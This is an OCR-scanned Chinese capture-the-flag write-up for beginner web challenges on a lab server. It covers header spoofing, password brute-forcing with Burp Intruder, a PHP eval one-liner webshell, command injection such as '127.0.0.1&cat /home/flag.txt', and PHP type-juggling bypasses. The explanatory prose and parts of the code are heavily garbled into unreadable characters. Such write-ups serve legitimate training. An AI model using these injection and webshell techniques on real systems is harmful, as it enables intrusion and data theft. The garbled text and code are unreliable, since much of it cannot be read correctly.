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B consoleipplicationd. exe B script. pyEl| B ede2de92e31247422383728091 cac?62 B ccript. pyid| B 01942f1947ac4da784e3cf004bed0154 63 & index

1 <html>

2 g<head>

3 <metacharset="UTF-8">
4 <title>&#3CHF</title>

<link-href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />

6 H <style>
7 body{
3 margin-left:auto;
- margin-right:auto;
10 margin-TOP:200PX;
11 width:20em;

12 }

13 </style>

14 t</head>

15 H<body>
16 E<h3>ﬁﬂ9ﬂ]i§index.phpﬂ‘]%‘ﬁ}§t#% g7 </h3>
—l<?php

18 $flag="Cyberpeace{855R1C4B34012%4CB6604CCCYEBDE334}"
7>

20 |</body>

21  lL</html>
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® © m y Q View = = [J Groupbyframe [J Preservelog [J Disable cache | [J) Offline Online v

Filter [} Hide data URLs @ XHR JS CSS Img Media Font Doc WS Manifest Other
I 10 ms 20ms 30 ms 40 ms 50 ms 60 ms 70m
Name X Headers Preview Response Cookies Timing

Content-Length: 276
Content-Type: text/html

[ ]111.198.29.45

| bootstrap.min.css
Date: Sat, 14 Dec 2819 92:17:52 GMT

Keep-Alive: timeout=5, max=188
Server: Apache/2.4.7 (Ubuntu)
Set-Cookie: look-here=cookie.php
Vary: Accept-Encoding
X-Powered-By: PHP/5.5.9-1ubuntud.26
¥ Request Headers view source
Accept: text/html,application/xhtml+xml,application/xml;q=8.9,image/webp,image/apng,*/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=8.9,en;q=0.8

Connection: keep_alive

Cookie: look-here=cookie.php
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Upgrade-Insecure-Requests: 1
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Keep-Alive: timeout=5, max=10¢
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<html:>
¥ <head>
<meta charset="UTF-8">
critle>— T RERANIRI </ title
<link href="http://libs.baidu.com/bootstrap/3.8.3/css/bootstrap.min.css” rel="stylesheet"”>

Yostyles
body{
margin-left:auto;
margin-right:auto;
margin-TOP:288PX;
width:2@em;
¥
</style>
</head>
¥ <body>

<h3> — - RER RS /h 3>
¥ <form action method="post”>»
<input |disabled| class="btn btn-default” style="height:56px;width:200px;"~ type="submit” value="flag” name="auth"> == %@
</form>
</body>
</html>
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html
head
title>JS</title
script type
function dechiffre(pass_enc){
var pass
var tab pass_enc.split( )
var tab2 pass.split( )
var i,j,k,1=0,m,n,0,p ;
0;
tab.length;
j + (1) + (n=0);
tab2.length;
for(i (0=0); i (k j n); i ){
o = tab[i-1];
p String.fromCharCode((o = tab2[i]));
if(i 5){

break;

}
for(i (0=0); i (k
o = tab[i-1];
if(i > 5 i< k-1){
p String.fromCharCode((o = tab2[i]));

)i

p String.fromCharCode(tab2[17]);
pass p;

return pass;

}
String[ 1(dechiffre(

h = window.prompt (
alert( dechiffre(h) );
script
head
html

THAREERENRD, EED EEXBEISRIG. SH—TFEREXLT —A dechiffre W3, REHMELLRIMA—BERE h, BEKSE
Bt dechiffre(h) . BF —BMRKK163HZRFE, AN LN TARRATHER

N 55,56,54,79,115,69,114,116,107,49,50 . EMEHE—T kI String.fromCharCode()iX MEREAKH Unicode Fmtd it RH—
N, SR BN E R ¥ 70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65 XBtUnicode®: ¥l /4 & .
Hi/2 FAUX PASSWORD HAHA . FTLATGIRHAA 4 # R4 tHix A, Hst R E4E 55,56,54,79,115,69,114,116,107,49, 50 FHH#AFRF
Bt ITflag T .

Hpython iz
a = [55,56,54,79,115,69,114,116,107,49,50]
for i in range a:

print(chr(i),end=""
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Raw | Headers | Hex Raw | Headers | Hex HTML{Render]

GET / HTTP/1.1
Host: 111.198.29.45:57493 r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wine4; x64; rvi71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/<html+xml applicaticn/«ml:q=0.9,%/%q=0.8

Accept-Language: zh-CN zh;q=0.8 zh-TW;q=0.7 zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0
p-Forwarded-for:123.123.123.123 |

Sk Ehttps:/iwww.google.com ]

FEIMEBEUE, MR IRRE] BIREhttps://google.com , WERBANIEEIEEL Referer:https://www.google.com, FifE
R HHF Flflag.

Raw | Headers | Hex Raw | Headers | Hex HTML]Render}

GET / HTTP/1.1
Host: 111.198.29.45:57493
User-Agent: Mozilla/5.0 (Nindows NT 10.0; Win64; x64; nv71.0) Gecko/20100101 Firefox,/71.0
Accept: text/html,application/xhtml +xml,applicationfmi; 9,7/%q=08
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=07 zh-HK;q=0.5,en-US;q=0.3,en;g=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
E ded=ford231234231
[Referer:https:/’/mvw.gcogle.ccm I

T
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MR HRERZE - ERRRE, BERIMNMANIEHRPHEP %W, feesslflag. HAEEweak_auth§SIMEREE R, MiZFEER—A
590, REZEMABBET. RERMIRAF4Z, FTUEBERERAREIGEE. BMEREKINXRT please login as admin, %
JEIEH P ¥ hadmin B —ilE, KIIRR password error . HRELAEHINTAH P & Radmin, HEH R UHEERAEhLIER aybe you
need a dictionary (REBE—AFH) , MERRBRITERBEE. REINERKIEREA burpsuite RIATEBB I, BIFLEA
JEHLRERR Elflag.

Aftack Save Columns

J Results l Target [ Positions [ Payloads [ Options 1

Filter: Showing all items

Request | Payload | Status | Error | Timeout | Length v| Comment
31 123456 200 ] [ 437
0 200 ] [ 434
1 admin 200 J [ 434
2 admini2 200 L] [] 434
3 admin888 200 J [ 434
A ardminf 20N I [ A2A

AeE 2 SR AD 2 123456 .
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AUMEEES], XBRZREF A PHPH—AEAD KB Hiflag. FTHTEIER <?php @eval($_POST['shell']);?> , HpAiTEN
post—ANZ¥ 4 A shell KIS HRIAT R H .
#%-—T shell=phpinfo() -
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g Load URL http://111.198.29.45:37123/index.php

g.g Split URL

+ Execute

Postdata [ Referer [] User Agent [] Cookies Clear All

shell=phpinfo();

RIFSEPATRRTY, BETRMAM hERI) X&ERE, RIEindex phpiiFE—AHF FEA —Mflag.tt 3.

CRESEL X

itk [ http://111.195.29. 45: 371253/ index. php |

BiE: |shell

e

ERTEST ~|[pre(Eval) +|[urr-s ~| g
0O ©Guiis2es +
I Avar fwww/html /
111. 198. 29, 45 B3R (0), 2 (2) B fiel
B < / B e txt 2019-10-26 07:05:26
B D) var .
2 5 v . index. php
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command_execution F{EWriteupHipineppleifit |
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PING

127.0.0.1&ifconfig

PING

ping -c¢ 3 1.1.1.1&%ifconfig

eth@ Link encap:Ethernet HWaddr 82:74:8e:42:73:b6
inet addr:16.42.113.183 Bcast:18.42.255.255 Mask:255.255.8.6
UP BROADCAST RUNNING MULTICAST MTU:1482 Metric:1
RX packets:37 errors:® dropped:® overruns:® frame:@
TX packets:23 errors:@ dropped:® overruns:® carrier:@®
collisions:® txqueuelen:@
RX bytes:4522 (4.5 KB) TX bytes:4112 (4.1 KB)

lo Link encap:lLocal Loopback
inet addr:127.8.8.1 Mask:255.9.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:12 errors:@ dropped:® overruns:® frame:@
TX packets:12 errors:® dropped:® overruns:® carrier:®
collisions:® txgueuelen:1

RX bytes:1008 (1.0 KB) TX bytes:1008 (1.8 KB)
PING 1.1.1.1 (1.1.1.1) 56(84) bytes of data.

--- 1.1.1.1 ping statistics ---
3 packets transmitted, ©® received, 188% packet loss, time 2815ms

BB HRFSLFE M A PATIRIA, BHAT 127.0.0.1&Find / -name '*flag*' SRIRAH BAH M4 W& flaghi .



PING

127.0.0.1&find / -name "flag™'

PING

ping -c 3 127.0.0.1&find / -name "*flag*’
PING 127.8.8.1 (127.0.0.1) 56(84) bytes of data.

/home/flag.txt

- Lo = =4
/proc/sys/kernel/sched domain/cpu@/domain@/flags
/proc/sys/kernel/sched_domain/cpu@®/domainl/flags

/oroc/svs/kernel/sched domain/cpul/domain@/flaes
BB BIFEFE /home/Flag. txt XA XM, RIFHAT 127.0.0.1&cat /home/flag.txt RKEFfag AT HIALE, BiEEEZlflag.
127.0.0.1&cat /fhome/flag.txt

PING

ing —c 3 127.8.8.1&cat /home/flag.txt
cyberpeace{239fb7170d788192c05cdc71b6482e11}PING 127.0.8.1 (127.0.8.1) 56(84) bytes of data.
T2/ 0. 0. 1chnp seq-1 Tti-64 time-0.952 ms

64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.061 ms
64 bytes from 127.8.8.1: icmp_seq=3 ttl=64 time=0.0844 ms

+—. simple_php



simple_php E{EWriteupFMOLLM Y324t |
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show_source(_ FILE );
include(
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){

echo $flagi;
)i

if(is_numeric($b)){

1
J

if($b>1234){
echo $flag2;

RO EHIXBA, 25— TERINRIFEASH A Raflb. HioaRkHABEESET0, Ha¥#onti/RMEE Ntrue, ABIRE HLIRSE
PHPE 454, BB — M BT M P AT R B2, W aa o bAREREMER, HFEHNHERFERT 1234, MRFEH LB 12352 . f
NJERRE R Iiflag, XBIH L KR 5578 5 REUPHPHI R R k.
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Bydaiemss @ F=riE [ EAmit @ =Fsr W BugkuCTF - £3F& ] (WeChall] Training: ... [

<?php

show_source(_FILE );

include (“config. php”) ;

$a=03_GET[ a’ ];

$b=@$ GET[ b’ 1;

if($a==0 and $a){
echo $flagl;

1

if(is_numeric ($h)) {
exit();

1

if ($b>1234) {
echo $flag2;
}

PP
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